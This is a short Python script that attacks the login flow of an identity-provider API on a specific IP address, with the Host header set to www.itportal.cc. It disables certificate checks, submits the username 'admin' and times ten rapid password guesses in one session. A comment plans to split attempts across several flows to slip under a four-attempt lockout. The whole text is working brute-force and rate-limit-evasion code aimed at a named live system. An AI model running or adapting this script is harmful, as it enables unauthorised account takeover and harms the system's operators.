import requests, json, urllib3, time
urllib3.disable_warnings()
BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
JH = {"Host":"www.itportal.cc","Content-Type":"application/json"}

# single session, keep-alive, 10 password attempts on ONE flow (but limit is 4... so use 3 flows)
s = requests.Session(); s.verify=False
s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-identification","uid_field":"admin"}), allow_redirects=False, timeout=20)
t0=time.time()
for i in range(10):
    s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-password","password":f"x{i}"}), allow_redirects=False, timeout=20)
t1=time.time()
print(f"10 keep-alive POSTs: {round(t1-t0,2)}s = {round((t1-t0)/10*1000)}ms/req")
